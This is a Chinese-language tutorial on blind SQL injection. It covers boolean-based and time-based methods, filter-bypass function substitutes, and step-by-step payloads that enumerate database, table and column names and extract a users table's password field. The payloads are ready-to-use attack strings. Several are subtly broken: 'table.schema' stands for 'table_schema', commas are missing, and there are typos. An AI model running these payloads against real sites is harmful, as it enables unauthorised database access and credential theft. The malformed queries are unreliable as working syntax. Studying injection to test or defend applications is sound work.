一、布尔盲注
当存在SQL注入时,攻击者无法通过页面或请求的返回信息,回显或获取到SQL注入语句的执行结果,这种情况就叫盲注。
布尔型盲注就是利用返回的True或False来判断注入语句是否执行成功。它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
**什么情况下考虑使用布尔盲注?**
1. 该输入框存在注入点。
2. 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入。
3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。
常用函数
length(str)函数 返回字符串的长度
substr(str,poc,len)截取字符串,poc表示截取字符串的开始位,len表示截取字符串的长度
ascii()返回字符的ascii码,返回该字符对应的ascii码
count():返回当前列的数量
case when (条件) then 代码1 else 代码2 end :条件成立,则执行代码1,否则执行代码2
函数替换
1、如果程序过滤了substr函数,可以用其他函数代替:效果与substr()一样
left(str,index)从左边第index开始截取
right(str,index)从右边第index开始截取
substring(str,index)从左边index开始截取
mid(str,index,len)截取str从index开始,截取len的长度
lpad(str,len,padstr)
rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
2、如果程序过滤了 = (等于号),可以用in()、like代替,效果一样:
3、如果程序过滤了ascii(),可以用hex()、bin()、ord()代替,效果一样:
布尔盲注一般流程
因为盲注不能直接用database()函数得到数据库名,所以步骤如下:
①判断数据库名的长度:and length(database())>11
回显正常;and length(database())>12
回显错误,说明数据库名是等于12个字符。
②猜测数据库名(使用ascii码来依次判断):and (ascii(substr(database(),1,1)))>100 --+
通过不断测试,确定ascii值,查看asciii表可以得出该字符,通过改变database()后面第一个数字,可以往后继续猜测第二个、第三个字母…
③猜测表名:and (ascii(substr((select table_name from information_schema.tables where table.schema=database() limit 1,1)1,1)>144 --+
往后继续猜测第二个、第三个字母…
④猜测字段名(列名):and (ascii(substr((select column_name from information_schema.columns where table.schema=database() and table_name=’数据库表名’ limit 0,1)1,1)>105 --+
经过猜测 ascii为 105 为i 也就是表的第一个列名 id的第一个字母;同样,通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段.
⑤猜测字段内容:因为知道了列名,所以直接 select password from users
就可以获取password里面的内容,username也一样 and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+
二、时间盲注
界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
时间盲注与布尔盲注类似。时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。
**什么情况下考虑使用时间盲注?**
1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样
2. 不会回显注入语句执行结果,故无法使用UNION注入
3. 不会显示报错信息,故无法使用报错注入
4. 符合盲注的特征,但不属于布尔型盲注
常用函数
sleep(n):将程序挂起一段时间 n为n秒。
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句。
使用sleep()函数和if()函数:`and (if(ascii(substr(database(),1,1))>100,sleep(10),null)) --+` 如果返回正确则 页面会停顿10秒,返回错误则会立马返回。只有指定条件的记录存在时才会停止指定的秒数。
时间盲注一般流程
①猜测数据库名称长度:
输入:id=1' and If(length(database()) > 1,1,sleep(5))--+
用时:<1s,数据库名称长度>1
…
输入:id=1' and If(length(database()) >8 ,1,sleep(5))--+
用时:5s,数据库名称长度=8
得出结论:数据库名称长度等于8个字符。
②猜测数据库名称的一个字符:
输入:id=1' and If(ascii(substr(database(),1,1))=97,sleep(5),1)--+
用时:<1s
…
输入:id=1' and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+
用时:5s
得出结论:数据库名称的第一个字符是小写字母s。
改变substr的值,以此类推第n个字母。最后猜出数据库名称。
③猜测数据库表名:先猜测长度,与上面内容相似。
④猜测数据库字段:先猜测长度,与上面内容相似。
⑤猜测字段内容:先猜测长度,与上面内容相似。